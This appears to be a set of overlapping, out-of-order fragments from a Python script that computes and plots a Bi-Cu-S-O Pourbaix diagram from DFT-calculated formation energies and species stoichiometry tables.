"species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12 species[58,6]=1 species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0",
"contains a single element. This is a really long call. flag=1 if((species[k, 3]==0",
"############################################ ############################################################################### flag = np.zeros((50,6)) # The first 4 indexes are the materials",
"dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F",
"dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F;",
"species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0",
"try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File') ############################################################################### #### Determine which",
"1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1] combos[combo_num,",
"current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m",
"flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num, 0,",
"############################################################################### ################### Plot Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6)) # The first",
"#pH Range and Constants lowpH = -2; highpH = 16; pHrange = int;",
"species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0",
"species[62,0]=dGf_Cu4BiS2_5 species[63,0]=dGf_BiSCuO species[64,0]=dGf_Cu3BiS3 ######## Electron Count ####################################################### #Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2",
"are the materials stored, the next three are the colors index=0; fig =plt.figure()",
"will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill in",
"is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break",
"############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0",
"#CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0",
"the energies for each species number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1",
"flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4] = random.random(); flag[index,5]",
"species[63,1]=2 species[64,1]=0 ######## Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0",
"sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ###################",
"the composition though linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2:",
"are specicies considered #populate with smaller values that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int",
"loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color",
"1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num,",
"species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6",
"linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram,",
"Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each",
"dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F;",
"Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies ############################",
"MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475;",
"#Applied Potential Range and Constants Ulow = -1.5; #V Uhigh = 1.5; #V",
"#H+ combos[combo_num, 3, 0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num,",
"2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number",
"species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth",
"mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t];",
"4] ==0) or \\ (species[m, 4]==0 and species[p, 4] ==0) or \\ (species[k,",
"for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2)",
"m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to the mu current_eng=species[p,0]",
"and (species[k, 5]>0 or species[m, 5] >0 or species[p, 5])): #save species in",
"DFT CALCULATIONS ##################################### ############################################################################### #Electronic Energies in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333;",
"Fvib_Bi2S2O=-0.08193190191 Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the",
"kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO= dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F;",
"dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS) -(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2)",
"#break loop, the color is found k=len(flag)+1 l=1 if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+'",
"species[11,0]=dGf_Cu2OH2_2plus species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus",
"of species if((species[k, 3]>0 or species[m, 3] >0 or species[p, 3]) \\ and",
"color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and",
"least one multi-element species in this combination if(flag==1): #test each linear combination for",
"current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species'",
"and flag[k,1]==muValues[i,j,0]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found",
"ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases for i",
"by <NAME> #For reactions in aqueous conditions #find out how much detail you",
"#find out how much detail you want in your graph #n=input(\"Enter the mesh",
"Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy",
"dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F; dGf_BiCu=dGf_BiCu*F; dGf_CuBiO2_2=dGf_CuBiO2_2*F; dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F;",
"species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0",
"Number of H2O's ##################################################### #Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3",
"dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O)",
"try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0",
"species[23,7]=1 species[24,7]=1 species[25,7]=1 species[26,7]=1 species[27,7]=1 species[28,7]=1 species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1",
"############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free Energies of Formation ######################### #Free Energies",
"index=0; for i in range(0, n+1): pH=lowpH+i*pHcount; for j in range(0,n+1): U=Ulow+(Ucount*j); l=0",
"'+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3]",
"l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color",
"composition=np.array([1,1,1]) #pH Range and Constants lowpH = -2; highpH = 16; pHrange =",
"t=1 flag=1 f_total=int; f=np.zeros((3)) combos=np.zeros((45000,9,3)) combo_num=0 combos[combo_num, 0, 0]=-1 combos[combo_num, 0, 1]=-1 combos[combo_num,",
"((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7= ((Ee_Bi4O7)+Fvib_Bi4O7) -4.0*(Ee_Bi+Fvib_Bi)-3.5*(Ee_O2-Ftot_O2); dGf_Cu2S=(Ee_Cu2S+Fvib_Cu2S) -2*(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_Cu7S4=(Ee_Cu7S4+Fvib_Cu7S4) -7*(Ee_Cu+Fvib_Cu)-4*(Ee_S+Fvib_S); dGf_CuS=(Ee_CuS+Fvib_CuS)",
"#BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0",
"==0) or \\ (species[k, 4]==0 and species[p, 4] ==0)): if((species[k, 5]==0 and species[m,",
"dGf_CuO*F; dGf_Cu2O= dGf_Cu2O*F; dGf_Cu1= dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F;",
"species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2 species[6,0]=dGf_CuOH2_minus species[7,0]=dGf_CuOH3",
"dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free Energies of Formation #########################",
"sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix",
"species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu",
"species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0",
"drawing lines for metastable phases for i in range(1, n): #calculate the energies",
"species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0",
"combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each in species in final",
"Determine which species are able to combine at the composition ########### ############################################################################### t=1",
"species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1",
"combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4,",
"dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F;",
"the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0;",
"'+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random();",
"dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi= dGf_Bi*F; dGf_Bi2O3=",
"combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to the",
"current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in range(3,6): if(species[s,t]>1): current_NumEle=current_NumEle*species[s,t]; current_mu=current_mu+f3*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s",
"dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ###############################################################################",
"in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus= -1.4977965 ##Elemental Copper",
"dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F;",
"[species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check to see if",
"except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3: '+str(p)+'\\n') t=1 t=0 #If there is",
"species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's ##################################################### #Copper species[0,6]=0",
"color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,2] and flag[k,1]==muValues[i,j,1]and flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4)",
"dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S=",
"else: #Catch and switch the value of t back to no t=1 save('BiCuOS-speciesCombo.npy',",
"dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus= -6.60739025 dGf_S2O5_2Minus= -8.195817793 #Water dGf_H2O=-2.458; ############################################################################### ############################################################################### ############################################################################### ################################################################################",
"Species dGf_Cu1= 0.506502 dGf_Cu2= 0.674092 dGf_CuOH2_minus= -3.4518209 dGf_CuOH3= -5.1197432 dGf_CuOH_Plus= -1.3127387 dGf_CuOH4_2=-6.814302 dGf_CuOH2=",
"species[m, 4] >0 or species[p, 4]) \\ and (species[k, 5]>0 or species[m, 5]",
"species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24",
"the formation energies ############################ ############################################################################### #Free Energies of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO)",
"#Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0",
"species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1 #BiSO species[54,3]=0 species[55,3]=0 species[56,3]=0 species[57,3]=0 species[58,3]=0 species[59,3]=0 #CuBiS species[60,3]=1",
"single element. This is a really long call. flag=1 if((species[k, 3]==0 and species[m,",
"int; pHrange = highpH-lowpH; pHcount = pHrange/n; #used to iterate through pH range",
"Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939",
"5] ==0)): flag=0 #if so, find the composition though linear algebra. try: f=np.linalg.solve(a,",
"SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585;",
"species[11,1]=4 species[12,1]=6 #Bi species[13,1]=0 species[14,1]=6 species[15,1]=10 species[16,1]=8 species[17,1]=14 species[18,1]=3 species[19,1]=3 species[20,1]=3 #S species[21,1]=0",
"species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S ############################################# #Coppers species[0,5]=0",
"species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs",
"species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0 species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6",
"Number of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0 species[4,5]=0 species[5,5]=0 species[6,5]=0",
"species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0",
"species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO",
"Fvib_Bi2SO4_3=0.81266278392 Fvib_Bi14OS24=0.02990373431 Fvib_Bi2SO2=-0.0265520338422 Fvib_BiSCuO=-0.039894146059 Fvib_Cu3BiS3=-0.1661179102334 Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation",
"is a really long call. flag=1 if((species[k, 3]==0 and species[m, 3] ==0) or",
"0]=species[k,2] combos[combo_num, 3, 1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num,",
"found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop,",
"the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing",
"species[28,6]=0 species[29,6]=3 species[30,6]=3 species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6",
"species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0",
"in range(0, len(species)): for p in range(0, len(species)): #Check to make sure each",
"Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1",
"Fvib_Cu4Bi4S9=-0.3270592722135 Fvib_Cu4BiS2_5=-0.430548296696 Fvib_CuBiS2=-0.08663072302 ############################################################################### ### Compounds-Calculate the formation energies ############################ ############################################################################### #Free Energies",
"#fill in the grid. Calculate for i in range(0, n+1): #calculate the energies",
"import random #For saving/importing data from numpy import asarray from numpy import save",
"pHrange = highpH-lowpH; pHcount = pHrange/n; #used to iterate through pH range #Applied",
"#The second species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1",
"species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's #####################################################",
"2]=species[p,6] #Percent of each in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total",
